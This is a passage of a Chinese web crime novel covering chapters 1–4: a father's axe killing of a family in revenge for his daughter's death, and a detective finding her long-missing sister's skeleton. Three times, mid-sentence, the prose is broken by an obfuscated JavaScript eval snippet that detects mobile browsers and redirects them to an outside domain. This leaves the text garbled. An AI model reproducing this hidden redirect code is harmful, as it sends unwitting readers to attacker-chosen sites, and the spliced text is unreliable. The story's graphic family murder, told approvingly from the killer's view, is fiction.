《临城死亡事件簿》 1. 第01章 2014年5月21日,小满。 吱吱,吱吱,吱吱…… 正在健身房更衣室换教练服的徐罡,掏出了手机。 社会新闻看多了,徐罡看见女儿班主任的来电,心不免提起来。 他的女儿茵茵除了有些胆小外,平常乖巧听话,一般没什么事,老师不会找家长。 转念一想,难道是教育局那边终于有反馈,给班主任施压了? 他忐忑地按下了接听键。 “喂,卢老师。” 徐罡的表情逐渐凝固,有什么东西从耳膜穿过,恍恍惚惚,听得并不真切。 二十分钟后,他赶到医院急诊室,寻找间,人群中传来妻子绝望而凄厉的哭嚎。 他不记得当时自己是怎么挺过来的,医生护士学校老师都不敢上前安慰,他们怜悯他,也害怕他。 怕他闹事,怕他纠缠,怕他没完没了。 肇事司机喋喋不休地跟他解释,是有人故意把他女儿推到车轮底下的,他开的很慢,但也根本来不及…… 真正的凶手是个11岁的男孩。 徐罡认识。 一个奇丑无比的驴脸小王八蛋。 上周那男孩嘲笑茵茵说话结巴后,把她推进工具房锁起来,茵茵在工具房哭喊了半天,才被老师发现。 茵茵因为害怕,尿湿了裤子,眼睛都哭肿了。 男孩在老师的强压之下,只得轻飘飘说了声对不起,随后带着同学嘲讽着唱歌“小脚跨开蹲下去,嘘嘘嘘嘘尿好了”…… 自此茵茵有了心理阴影,哭闹着不愿意去上学。 徐罡要求学校处罚男孩,并要求男孩公开道歉,但学校打太极,希望大事化小小事化了,而男孩家长更是拒绝与他通话。 投诉无门的徐罡冲去学校扇了小王八蛋一个耳光。 结果就是他被拘留3天,罚款五百。 而徐罡要求处罚男孩的诉求没有得到任何的反馈。 从拘留所出来,徐罡给教育局打投诉电话,写投诉信,教育局还没给回馈,那小王八蛋就在学校操场,把他女儿推向了深渊。 学校上课期间是不能有车辆进出校园的,因为准备六一儿童节的表演,活动公司特批开车拉着材料进操场搭建舞台。 小王八蛋把他女儿推向车头,因为太突然,司机不知道怎么回事,车轮已经从他女儿身上碾过。 出事后,小王八蛋一家都躲藏了起来。 有其他家长偷偷告诉徐罡,在他打完男孩之后,男孩父母就教导自家儿子,打不过人家爸爸,就去打人家的女儿!绝对不能吃亏。 男孩奶奶甚至说,他这个年龄,就算是杀人,也不用坐牢的。 一个11岁的凶手,警察不单拿他没办法,还要想办法保护这小王八蛋的隐私,准备给他换学校,改名换姓,重新生活。 而他的茵茵白白死了,他的家就这么毁了。 6月中旬的一个傍晚,颓废了一个月的徐罡坐在沙发上抽烟,他的手机屏幕亮起。 有人给他发来了男孩一家的新定位。 徐罡拧灭烟头,他认认真真洗了个澡,然后出去买菜,做好饭,等在医院照顾孩子姥姥的妻子回来,夫妻俩默默吃了一顿饭。 他出门的时候,妻子问他:“去哪儿?” “帮朋友干活,晚上可能不回来。你先睡,不要等我。” 妻子茫然看着丈夫换鞋,她似乎感应到了什么,但她没问,也没起身送他。 * 男子开车转了两圈,才终于找到停车位,心里不免抱怨,这个租住的小区环境实在糟糕。 他手里拎着一小袋药下了车。 刚才还烈日当空,此时太阳被乌云遮住了。 他昨晚加班没回家,上午给老婆打了两个电话都没接,正火急火燎往家赶的时候,终于收到老婆发来的微信。 【孩子有点发烧,你买盒降温贴回来。】 他家住一楼,带个小院子,匆匆忙忙租的房,也没太多可挑选的,住进来这小半个月,都是些不顺心的事。 都是那个结巴小女孩给他家带来的灾祸。 想想她家境况更惨,男人心底也就舒服多了。 掏出钥匙打开门,大中午的,屋内光线昏暗,客厅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837531|191268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 窗帘都拉上了,周围静悄悄的,透着一丝说不清道不明的诡异。 刚换好鞋,男人就闻到一股难言的腥味。 “人呢!妈!”他不敢叫的太大声,似乎害怕惊动了这一片安宁。 客厅餐厅都没人,他往里走,血腥味越来越浓重。 他的心提到了嗓子眼。 拧开父母房门,只见地上床上各躺了一个人,那是他爸妈倒在了血泊中。 男人转身往里面房间冲去,打开儿子房门,看见儿子被绑着跪在地上,地上流了一滩血。 “乐乐!乐乐!”巨大的悲痛袭来,男人痛哭失声。 他儿子已完全僵硬,估计昨晚就死了。 灯突然亮了。 男人吓得跳起,只见房门口站着一个高个男人,手里提着一把斧头。 他认出来了,是那个女孩的爸爸。 这个疯子杀了他全家! “你终于感受到了我半个月前的痛苦。”徐罡脸上肌肉微微抖动着,极为复杂,“法律惩罚不了你们这种人渣,我来惩罚。法律给不了我女儿公道,我来给她讨公道。我一个人的命,换你们一家五口,让你们灭门,值了!” 男人痛哭着忏悔:“我儿子还是个不懂事的小孩啊!他不是故意的!” “他就是个畜生!你这个大畜生养出来的小畜生!这种反社会人格的贱种就应该去死!”徐罡瞪大双眼,斧头砸在门框上,瞬间削去一大块木片。 刚刚还在忏悔的男人慌乱地抄起一把小风扇狠狠砸了过去。 徐罡伸手一档,斧头劈了过来。 作为一名健身教练,他力气比那矮冬瓜似的男人可大多了,更何况,他手上还有锋利的杀器。 他听到了清脆的破瓜似的声音。 真好听。 矮冬瓜,裂开了。 两分钟后,徐罡进洗手间洗干净手上和脸上的血,他终于轻松了,可以去见女儿了。 他边往外走,边摸出手机,拨打了110。 随后,他摸出香烟,点上后,坐在大门口的台阶上,看着天上的云聚云散,等待着警察的到来。 2. 第02章 2014年6月21日,夏至。 《有怕鬼的没?勇闯怪楼直播进行时,胆大者进》 中午时分,某知名论坛上多了一个帖子。 【昨天介绍了我们临城老区的怪楼,很多坛友对怪楼充满好奇。今天为了满足大家的好奇心,我拼了!请大家跟随我的脚步,勇闯怪楼!】 同时楼主发了两张照片。 第一张照片,是一栋碉堡似的灰色大楼,比旁边五层楼高的住宅楼要略高一些,楼体左上角爬满了绿色的爬藤植物。 第二张照片,是一把大铜锁,看上去有撬过的痕迹。 正在论坛上闲逛的坛友纷纷激动留言。 【靠,大虾你胆子真大!就你一个人?】 【这怪楼好像灰色海绵宝宝,怪可爱的。】 【楼上你口味也怪可爱的。】 【你撬锁了?该说不说,但还是忍不住要说,这会不会违法了?】 【9楼,这个时候说这种话,不会显得你更有道德。】 然后两人在贴子里吵起来了。 【没找到楼主昨天的帖子。哪位小可爱能科普下,什么怪楼?】 【小可爱来也!话说我国西南边陲最大三线城市临城的老城区有一栋没有窗户的怪楼,常年大门紧闭,没人出入,没人知道大楼的主人是谁,附近的居民说,怪楼半夜会有鬼叫声。链接如下,可以自己点进去看。】 【妈妈呀,鬼叫声?大白天的别吓我。】 …… 奇怪的是,空了大概十多分钟,只有网友们在贴子里狂欢,楼主消失了。 【怪楼连窗户都没有,是不是没有网络信号?】 【楼主不会遇到了什么情况,突然失联了吧?】 【阿弥陀佛。】 【怕个鬼哦!可能只是网络不好。】 【就是怕个鬼啊!】 【楼主想红想疯了,故意装神弄鬼……】 又隔了几分钟,有人焦灼等待,有人被其他帖子吸引走了。 还有人问要不要报警? 就在这时,楼主“来自未来的瘦子”出现了。 【来自未来的瘦子:信号很弱,我拍了很多照片,正在上传。】 【楼楼你没事就好。】 【我就说肯定是网络不好。】 【瘦子大虾,楼里是什么情况,快展开说说。】 一堆人跟帖留言复议等更新。 有人建议图片不要一次性发太多,最好分开发。 楼主从谏如流,很快带着两张图片先发上来了。 第1张图,手电筒的光线下,门厅最前方立着一个跟普通人差不多高的古装女神雕像,神像做工粗糙,表皮脱落如光影斑驳。 【来自未来的瘦子:不是观音,不知道是哪位神仙。进来我先拜了三拜。】 第2张图,窄小的房间里,有一张砖砌的桌子,石桌摆放着一个香炉,香炉上插着燃尽的线香,看着莫名诡异。石桌旁边放着一个窄口大酱缸。 【来自未来的瘦子:楼里乌漆嘛黑,曲里拐弯的,像个恐怖迷宫,层高很矮,估计也就一米八左右,我身高177,有些地方要弯腰才能走路,房间很多,但都很小。】 网友炸锅了,纷纷留言。 【这是九天玄女吗?】 【不是吧?我看像王母娘娘。】 【不管什么神仙,我先拜为敬!】 【那口大酱缸不简单,看着很恐怖。】 【大酱缸里会不会有鬼啊。】 【人肉大酱。】 【为什么要插香祭拜大酱缸?】 【来自未来的瘦子:我看过了,酱缸里什么都没有。祭拜的不是大酱缸,是墙上的一幅画。那幅画被取走了。】 接着楼主又发了三张图。 第3张图,看上去像浴室,非常袖珍的白瓷洗手盆、马桶和浴缸。 【来自未来的瘦子:到处都是洗手间和马桶,但都非常迷你。】 第4张和第5张图,拍的是楼梯,窄小的楼梯上方隐隐约约有光线。 【来自未来的瘦子:楼梯和道路很狭窄,这是二楼拍的,三楼隐隐约约有光线,像是自然光。】 网友更好奇了,怪楼不是没有窗户吗?怎么会有自然光? 【来自未来的瘦子:我准备上去了,大家为我祈祷吧。】 * 阳光猛烈的正午,夏木棉踩着自行车,进了机械厂家属院。 家属院门口,一棵刚种下不久的芒果树,树叶被晒得卷起了边。 角落的单双杠上,晾晒着低层住户的大花床单和被套。 空气里卤肉的香味越来越浓郁,往前转了个弯,夏木棉就看到了她爸妈的凉菜摊子。 凉菜摊中午就开在一楼她家的柴草间外面,主要是为家属区的住户服务,下午才去外面的菜市场摆摊。 凉菜摊外面站着个客人,是住对面楼的贾伟东,她爸妈的老同事。 听见自行车响,贾伟东回过头来:“木棉怎么周末也要上班?“ 夏木棉是百步刑侦大队的新人,周末也要轮班。 她挺讨厌贾伟东的,但面上并不显,只道:“东叔你买凉菜?” “你马姨不在家,我买点凉菜随便对付一餐。” 有些男人就是这样,离开女人,连温饱都是个问题。 对面楼传来声音,戴丽华风风火火从楼梯口下来。 “二嫂,卤牛肉和猪耳朵给我留了吗?” “留了。卤的牛腱子肉。” 夏木棉母亲钟静正在给贾伟东拌凉菜,她吩咐女儿:“去里面把小保温箱的那盆卤肉拿出来给你三婶。” 戴丽华的丈夫和夏木棉父亲是结拜兄弟。 钟静又问戴丽华:“要不要切?” “切啊。你们切的比我好。” 不用老妈吩咐,夏木棉洗完手,把卤肉拿出来,带上一次性手套,非常熟练地在砧板上切肉。 贾伟东好奇地跟戴丽华八卦:“上午看见你买了鱼和大虾,买那么多菜,今天请客?” 戴丽华不太想搭理贾伟东,缓了缓,还是略带着点骄傲似的,微微挑眉:“小晖带朋友回来吃饭。” “小晖谈朋友了?什么时候结婚?” “年轻人的事,我哪儿能说了算。” 戴丽华说不上多漂亮,但她是这院子里最会打扮的,日子也过得最舒心自在,五十岁的年龄,风韵犹存。 同龄的钟静看上去比她老了起码五六岁。 贾伟东显然是知道些消息的,“听说小晖女朋友家里很有钱,你们有福气啊!” “有钱才麻烦,干什么事都低人一头。”但从戴丽华的语气里,半点都听不出来“麻烦”,只听到了“得意”。 “要买大房子了吧?” 钟静把凉菜装好,放进塑料袋里,也问:“你们是不是打算买新开发的东方华府?” 贾伟东手里挽着塑料袋,就站在旁边不走:“那边可贵了。要三千多一平方。” “老曾不喜欢那边的房子,买房的事,以后再说。”戴丽华显然不想继续这个话题,“木棉,你在刑侦大队工作的怎么样?辛苦吗?” “还行,不辛苦。” 戴丽华鼓励她:“好好表现,争取提前晋升。” 贾伟东颇有些阴阳怪气:“能按部就班不拖后腿就不错了,女孩子在刑侦大队想要提前晋升,说句不好听的,那就是异想天开。” 夏木棉把切好的卤牛肉装进打包盒里,微笑着说:“提前晋升需要机缘,拖后腿不至于,我也不太在行。” 那谁在行拖后腿? 戴丽华秒懂木棉的意思,她笑道:“拖后腿的事,还是男人比较在行,例如……老贾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837532|191268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你啊!” 贾伟东当即拉下老脸。 贾伟东早几年从机械厂下岗后也不再找工作,成了家庭负累,经常被他老婆骂吃软饭拖后腿,这在院子里是人尽皆知的事。 钟静担心戴丽华太过爽直得罪人,贾伟东小气又难搞,没必要招惹对方,她赶紧接上话,“我们要求不高,只要木棉有一份安稳工作就很满足了。” 戴丽华:“我对木棉有信心,年轻人就是要自信。” “谢谢三婶。” 正说着,贾伟东“哎哎”了两声,“那不是小晖吗?” 大家抬起头往外看去,不远处一男一女往里走了过来。 男的手里拎着东西,那是戴丽华儿子曾晖,女的不认识,应该就是他女朋友。 那女子高挑修长,身穿浅灰色上衣,配沙棕色阔腿裤,看上去时尚又文雅。 关键是,嘴角带着点笑意,长得——有点好看。 夏木棉看迷了眼,一时间竟想不到形容词。 而三婶戴丽华已经满面春风地迎了上去。 围观的邻里们也都只能是羡慕妒忌的份儿…… * 中午买凉菜的不多,不用两个人守着,夏木棉先上楼去,她家住二楼。 老爸正在厨房做午饭,她回房打开笔记本电脑。 下载完考试资料打开论坛,热榜第一的“勇闯怪楼”几个字吸引了她的注意力。 短短半小时内,勇闯怪楼直播贴已经跟了大几百回帖。 楼主发了几十张照片。 他爬上三楼,发现三楼以上都是有玻璃窗户的,只是窗户开的很小,很巧妙,让外面往里看的人,以为没有窗户。 而高度只有五层的怪楼,总共有7层楼。 三楼往上,房间渐渐宽敞,层高也高了,还有几处大开间,有吧台、舞池和破败的赌桌,甚至有游泳池。 六层七层的层高又变矮,房间再度变小。 论坛网友纷纷脑洞大开。 有人怀疑,以前这里是赌博窝点。 但马上被人反驳:这鬼地方连个后门都没有,警察一来那就一锅烩。 最后有一个观点,得到了大多数人的赞同。 【这是一艘幻想中的邮轮!底下一二层是三等舱,所以都比较小。第三层开始有窗户,房间大,是公共区域和头等舱、一等舱,再往上六七层变小,那是二等舱。立在一楼大门口的雕像,不是九天玄女,也不是王母娘娘,而是妈祖。】 【操!还真是!】 【为什么要建成邮轮呢?】 【可能房主是船员?】 【嗖嘎!】 楼主刘胖终于爬上楼顶。 天台种满了绿植,中间铺了两块非常小的太阳能发电板。 刘胖发现太阳能板下有电线从外墙通往了天台下面第七层的其中一个小窗户。 他决定去看看。 刚才他走累了,没怎么逛第七层。 回到第七层,刘胖慢慢往西北角走去,走过一片漆黑的长廊,他隐隐约约听见有声音传来。 听清了好像是佛经咒语? 卧槽! 素来胆大的刘胖有点怵了。 停下脚步,靠在墙上,把情况汇报给坛友们。 【来自未来的瘦子:我不是怕,只是担心,会不会有冒犯。】 网友们很激动,纷纷让他去探个究竟。 刘胖在大家的鼓动之下,终究鼓起勇气,往前探索。 穿过黑暗,西南角有一扇小小的窗户,光线尚算明亮的过堂间,空空如也。 电线从窗户穿进来,绕进隔壁房屋。 神秘的梵音也是从隔壁房传来的。 不知道念的什么咒语,他的心嘭嘭跳跃着,心底害怕,却又不愿意承认自己害怕。 刘胖脚步没停,直接走了进去。 3. 第03章 从亮处进来,屋内光线黯淡。 手电筒扫过去,只见跟一楼一样的石台中间摆放着香炉,香炉里插了几根燃尽的线香。 一个小小的收音机就放在香炉侧边,播放着靡靡梵音。 “枳多迦唎……娑婆诃……南无阿弥多婆夜……” 诡异地让人毛骨悚然。 刘胖抬头,香炉上方的墙壁上,挂着一幅画像,不知道是什么菩萨。 走前去上下打量,没发现什么端倪。 结果一回头,发现身后立着一个人。 “啊!!”刘胖吓得捂着脑袋大叫。 下意识把手电筒砸了过去,却听见“嘭锵”一声,瓷瓶碎裂的声响。 不是人? 刘胖这才看清了,原来是一尊菩萨雕像。 是跟对面墙上画像一样的菩萨。 他丢出去的手电筒把菩萨的莲花底座给砸了一个口子。 刘胖赶紧捡起手电筒,同时掏出手机,拍了几张现场的照片发论坛上。 【收音机的梵音就是吓坏邻居们的鬼叫声?】 【难怪!白天环境声嘈杂听不见,夜深人静才能听见一些。】 【为什么要在这间房里念佛经?细思极恐!】 【房主肯定做了亏心事。】 【我查了,那尊佛像是地藏王菩萨。】 【卧槽!你们快看,莲花底座里好像有东西!】 【白白的是布料?】 【我放大了看,像是人骨。】 【好像真是人手骨头。】 【槽槽槽!你们别吓我。】 【这就说得通了,筒子们!全天24小时播放佛经,这是在超度亡灵。】 地藏王菩萨莲花底座里藏着尸体? 贴子里瞬间炸锅。 而现场的刘胖,吓得额头上的汗水涔涔往外冒。 他蹲在菩萨雕像面前,莲花座里,有一层鼓鼓的破麻袋。 麻袋左下角,隐隐约约有白色的东西,确实很像细长的手指骨头。 他感觉自己喉咙都冒烟了,脑袋嗡嗡的,微微颤抖的手,拿起随身携带的小刺刀,拨了拨麻袋。 好像真的是人类手骨! 刘胖不敢继续揭麻布了,他赶紧拍了几张照片,边往外走边发论坛。 * 勇闯怪楼之所以能吸引夏木棉注意力,是因为她昨天看了楼主的帖子。 知道怪楼就是她家附近不远的那栋无窗小楼。 她滑动鼠标,本来嘴角还带着点吃瓜的微笑,直到看见地藏王莲花底座里疑似白骨的照片。 笑容瞬间从她脸上隐去…… 在论坛群情汹涌的夹缝中,楼主又发了几张现场照片。 【来自未来的瘦子:我已经打了报警电话。】 【确定是人骨了吗?】 【兄弟,注意安全。】 【等你的后续。】 【这个帖子不会被封吧?还能看到后续吗?】 夏木棉放大楼主最后发上来的其中一张图片,在手骨旁边有一截半指宽咖啡色的片状物。 很眼熟! 夏木棉忽然想到了什么,她趿拉着拖鞋,快步走到客厅,拉开电视柜下面的抽屉,抽出最底下那本家庭相簿,然后匆匆回到电脑旁。 翻开相簿第四页,是她姐姐高中时拍的单人照。 姐姐单手撑着鹅蛋小脸,略微有些忧郁的眼睛,穿过十年时光,定定看着她。 夏木棉和姐姐外貌并不相像,姐姐清秀漂亮,不像她长得那么理性。 照片中,姐姐手腕上戴着一只小巧的女士手表,那是姐姐高二上学期,她同学送她的生日礼物。 姐姐非常喜欢,除了洗澡睡觉,几乎都戴着。 夏木棉仔细对比姐姐手腕上的手表表带跟电脑屏幕里手骨旁边的片状物…… 片状物的清晰度太低,没办法进行准确的对比。 但夏木棉的心怦怦跳跃着。 直觉! 直觉告诉她…… 她抽出姐姐的照片,捞起手机就往外走。 “爸。我出去一下。” 夏至民把炒好的一盘菜放餐桌上,着急道:“马上吃饭了!” 夏木棉也不好跟爸爸多解释:“单位有急事,你们先吃,不用等我。” “来吃一口。不要饿着了。”夏至民用小碗装了一块粉蒸肉端过来,喷香的肉直接就递到女儿嘴边。 正在穿鞋的夏木棉不得不张口接了。 要是平时,夏木棉肯定会夸她爸爸厨艺精湛,但今天,她心思在半空悬着,都没吃出肉味来。 急匆匆下楼,开锁骑上自行车。 正在拌凉菜的钟静问她:“去哪儿?” “单位有事。” 五分钟后,木棉骑着自行车,来到了怪楼前。 门口有民警拿着登记本在记录着什么,这里距离派出所就一条街,所以出警速度非常快。 夏木棉停放好自行车,刚要走前去,手机铃声响起。 “喂,简哥。” “木棉,你们家是不是在机械厂家属院?”听声音,简正培应该是边走路边给她打电话,而且走路走得很急。 “对啊。怎么了?” “广智南路尽头的凤仙街18号有命案,你到那边等我。” 夏木棉抬头看了眼怪楼旁边的门牌,凤仙街18号。 “我已经到了。” 简正培诧异:“已经到了?!” 但电话里他也没多问:“我们很快到,你就在门口等我们。” 挂了电话,夏木棉上前去跟派出所民警打招呼:“你好,我是百步刑侦大队的夏木棉,领导通知我过来,说这边有命案。” 民警看着夏木棉那还略有些稚气的脸,说:“你们速度很快啊。” 没等夏木棉说话,那民警跟她说了里面的情况。 “楼里发现了一具骸骨,不知道死多久,反正已经白骨化了,肯定有些年头。现场有收音机在循环播放佛经,非常诡异,大概率是谋杀。我几个同事和报案人都在楼上。” 夏木棉的心跳跟擂鼓似的,她害怕那真是她姐姐。 “我上去看看。” “你自己一个人上去?我有同事马上下来,里面乱七八糟跟迷宫似的,你会迷路。” 夏木棉看了论坛上的帖子,知道是几楼,也知道大概方位。 “能找到。”她打开手机电筒径直往里走。 夏木棉按照论坛楼主的路线从东侧楼梯一路往上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837533|191268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爬,大概爬到第四层,遇到两个民警从楼上下来。 他们知道夏木棉的身份后,其中一人带她去现场。 七楼案发房间外已经拉起来警戒线,夏木棉穿上鞋套,脚步沉重地走了进去。 * 简正培等人来到现场的时候,夏木棉就蹲在雕像前,定定看着那具骸骨发呆。 “不是让你在楼下等吗?”简正培先扫了眼周围环境。 “我没动现场。”夏木棉站起身,给同事们让了位置。 往外走到过堂间,一只爬山虎被突然闯进来的人群扰了清净,正静悄悄从窗户缝隙里爬了出去。 她晕乎乎的,脑门疼的厉害。 夏木棉重重呼了口气。 “木棉。”简正培站在门口叫她,“你协助小董绘制现场平面图。” “好!”夏木棉答应了一声。 简正培见夏木棉脸色不好,以为她是因为第一次看这种诡异的凶案现场,所以身体不适。 “不舒服?要不你做外部的环境勘察。” “没事。我可以的。”夏木棉把手机揣兜里,又道:“简哥,有件事我想跟您汇报。” “什么事?” 简正培问完,刚好法医进来了,他去跟人家说话。 夏木棉只好先去跟小董干活。 过了好一会儿,忙完的简正培来找夏木棉。 “木棉,你刚才说有事要汇报,是什么事?” 已经差不多忙完的夏木棉跟简正培到外面去说话。 “我怀疑里面的死者……是我姐姐。” 夏木棉的声音不大,简正培怀疑自己听错了,但显然他没听错。 “亲姐?” “亲姐姐。她失踪差不多10年了。” “怎么看出来的?’ 夏木棉把激光测距仪换了个手拿着,然后从衣服兜里掏出一张照片递给简正培。 “这是我姐的照片,你看她手上的表带。“ 简正培只看了一眼,神色跟着凝重起来。 两天后,加急做的DNA检测结果出来了。 死者正是夏木棉的姐姐——夏木橙。 大概死于8年前。 “死者夏木橙,10年前,2004年9月24日失踪,失踪时17岁,百步中学高三(4)班学生。失踪那天是星期五,放学后她没有回家,她家人寻找无果后,当天晚上报的案。但这么多年,都没有任何消息。” “还有另外一个男同学跟她一起失踪,名字叫梁小宇,是她青梅竹马的邻居和同班同学。在他们失踪二天后,也就是第三天,梁小宇的尸体在临花江下游被发现,死因是溺亡。” “梁小宇被发现时,身上没有外伤,虽然右手手腕有轻微勒痕,但很可能是在水中挣扎自救时留下的,而且他身上穿的是他自己的游泳衣,所以最终判定是意外溺亡。” “当时的推断是,夏木橙和梁小宇早恋在学校被老师发现后,不敢回家,两人趁着周末偷偷跑出去玩,有可能是梁小宇带着夏木橙去临花江游泳,不幸遇到暗流,梁小宇溺亡,而夏木橙也凶多吉少。” “那为什么最后,夏木橙的骸骨会出现在凤仙街18号?这里画一个重点,夏木橙腹腔内部发现了一小块胚胎的骸骨。” 4. 第04章 十年前,夏木棉还在读小学六年级。 她清楚记得国庆长假的前一个星期,姐姐突然失踪了。 跟姐姐一起失踪的,还有她父亲的结拜义兄梁伯伯家的儿子梁小宇。 几天之后,梁小宇的尸体被人发现在临花江下游。 而姐姐夏木橙从此在人间蒸发。 她姐姐不会游泳,她爸妈当年不愿意接受大女儿也有可能溺亡的“现实”。 夫妻俩坚信大女儿一定还活着。 很有可能出了什么意外,滞留在了别处。 他们非常执着,也从未放弃寻找大女儿。 不管在哪里,但凡有一点点消息,夫妻俩排除万难都会找过去。 在夏木橙失踪一年后,曾经有人在边境玉衡镇看见一个长得很像木橙的女子,在玉衡小学当老师。 木橙失踪的时候只有17岁,一年后也只有18岁,以她的年纪做老师还太小。 亲朋好友们都说是木橙的可能性不大。 打电话去问一问就可以了。 找到电话号码,打去询问,那边学校回复没有叫夏木橙的老师。 好不容易找到一丝线索的夏至民钟静夫妇不愿意就此放弃,他们决定亲自去一趟。 夏至民请了一个星期的假去玉衡找人。 最终证实那个女老师只是侧脸有点像夏木橙。 人没找到,灰心失望的夏至民在汽车站被人抢了手机。 当时为了寻找女儿,夏家手头已相当拮据,一部手机值一千多元,夏至民护着手机,死死不愿松手,结果被抢劫犯的同伙乱刀砍伤。 手机还是被抢走了,夏至民被送进医院,右手严重受伤,治好后,神经也没办法完全康复。 那年夏至民所在的机械厂因经营困难,正面临改组,本来他这一年为了寻找女儿,耽误了不少工作,已经让领导很不满意,现在手部受伤,再无法正常操作模具,他也就只能提前办内退。 内退后工资聊胜于无,要等到五十五岁才能领退休金。 而钟静早在九十年代就下岗了,平时打零工补贴家用,赚的不多,也不稳定。 如今夏至民没了工作,不能干重活,前一年寻找女儿又花了不少钱,全家经济陷入困顿,最后他们决定摆摊卖凉菜,以养家糊口。 木棉正经历小升初,姐姐失踪了,她的爸爸妈妈也好像失踪了。 他们似乎看不见她。 为了吸引爸妈的关注,在初二那一年,她曾经试过自杀。 但刀横在手腕上,纠结了一个下午,她实在下不去手,最后只能不了了之。 后来她又尝试离家出走,结果离开家两天也没人找她。 木棉灰溜溜回到家,发现爸妈给她留了钱和纸条,他们得了新线索,到隔壁省找姐姐去了。 她气愤得想要升级叛逆行动的时候,发生了一件事。 梁小宇的母亲自杀了。 一个失孤的母亲,在失去儿子后,与丈夫关系日渐冷漠疏远的夜晚,跳楼了。 就在他们这栋楼后面。 夏木棉的心脏被狠狠扎了一下,忽然醒悟过来,爸爸妈妈已经失去了姐姐,不能再失去她。 从那以后,她变成了一个活泼开朗的小太阳,照亮了他们家这片小天地。 心底那块阴冷潮湿的地方,被她紧紧包裹着,鲜少表露在人前。 在木棉上高中的时候,爸妈渐渐接受了现实,知道能找到姐姐的希望非常渺茫。 他们开始把时间和精力花在木棉身上,生活并不富裕,可也给了她足够的温暖和支撑。 但木棉知道,当夜深人静的时候,爸妈总会无意识地默默叹气。 就像现在,爸爸站在阳台角落,烟一根接着一根,妈妈把自己关在房间里,哭肿了眼睛,一句话不说。 他们从来没想过,他们的女儿就在离家5分钟远的地方,就在他们去买菜的必经之路上,不知道经受了怎样非人的折磨,最后生生被凌辱至死。 夏木棉把小姨煮好的小米粥端了一碗进屋,浓浓的铁打药酒味扑面而来。 屋内拉着窗帘,光线暗淡。 来到床前,木棉轻声说:“妈,你吃一点吧。” 钟静没有胃口,一点都吃不下,她也不想难为小女儿,“你放床头,我等会儿吃。” 后面跟进来的钟慧,把咸菜放边上,温声劝道:“姐,你多少吃一点。木橙她在天有灵……也不希望你这样的。” 说到“木橙”两个字的时候,钟慧自己先变了声音,眼泪哗啦啦流下来:“她肯定希望你能好好的。” 原本已经停止哭泣的钟静忍不住又哭起来:“我一想到木橙……想到木橙遭受了那样的折磨,我的心就像被针扎了一样疼。我这辈子没做过对不起良心的事,为什么要这样对我的女儿?!为什么呀?!想到木橙在那冰冷的鬼地方躺了这么多年,我难受,我的木橙!我的木橙啊!我的宝贝啊!” “姐!”钟慧抱着哭得泣不成声的姐姐,轻轻安抚着。 夏木棉站在一旁,手背擦去眼角的泪水,她抿了抿干涸的唇,无论有多么困难,她一定要将凶手绳之于法! * 临城近期发生了几起恶性刑事案件,有当街持刀杀人的,有为女儿报仇灭了对方满门的…… 百步刑侦大队工作量剧增,夏木橙的案件转给了专门负责积案调查的刑侦3组。 在简正培的协调帮助下,夏木棉也随之申请去了3组。 夏木棉抱着自己的物品去3组办公室,才到门口,就听见里面有人在说话。 “我们组只有4个人,程栋梁还出差了,手上有五六个积案,我们跟上头要人,结果就塞给我一个新人?我这新人带完一个又一个!” 说话者是3组的组长刘泰安,一个将近五十的老刑警,夏木棉以前见过。 据说脾气不好,办事能力也一般。 夏木棉站在门口,尴尬了! 站在刘泰安对面的是百步刑侦大队的队长陈锋。 陈锋比刘泰安年轻很多,说话语气干练又强势:“有新人可用就不错了!而且这个新人有些特殊,她是夏木橙案件的受害者家属。” “我知道。” “知道就好。还有,陆从景不是从省城回来了吗?趁他还在,你可以好好用起来。” “陆大顾问……呵,我可用不起。要不你请走?!” “所以说这么多年你升不上去是有原因的!你得用好……” 笃笃笃! 夏木棉不好再继续站在门口听领导们说话了,她轻轻敲了敲门。 “陈队!刘组长!” “木棉,你进来。”陈锋朝她招手,“老刘,这就是夏木棉,资料你已经看过了,好好带人家。” 等要出去的时候,陈锋又对夏木棉说:“刘组长是我们队最有经验的老刑警,遇到困难,你就找他。” “我知道的,谢谢陈队。” 无论何时,夏木棉都是那个礼貌周全,让人喜欢的小妹妹。 等陈锋出去,刘泰安指了指右边第二张桌子:“你坐那个位置。” 同时又指向后面一桌比木棉大不了多少的平头男子,介绍道:“这是小耿,跟你一样也是新人。” 显然小耿对于木棉的受害者亲属身份是有好奇的,不过木棉没有苦瓜着脸,而是微笑着打了声招呼。 木棉才坐下,又急匆匆进来一个男同事,手里拿着一沓资料。 这是3组队员田海亮。 刘泰安问他:“去司法鉴定所拿到最新资料了吗?” “拿到了。” “那开会吧。”刘泰安看了眼墙上的壁钟。 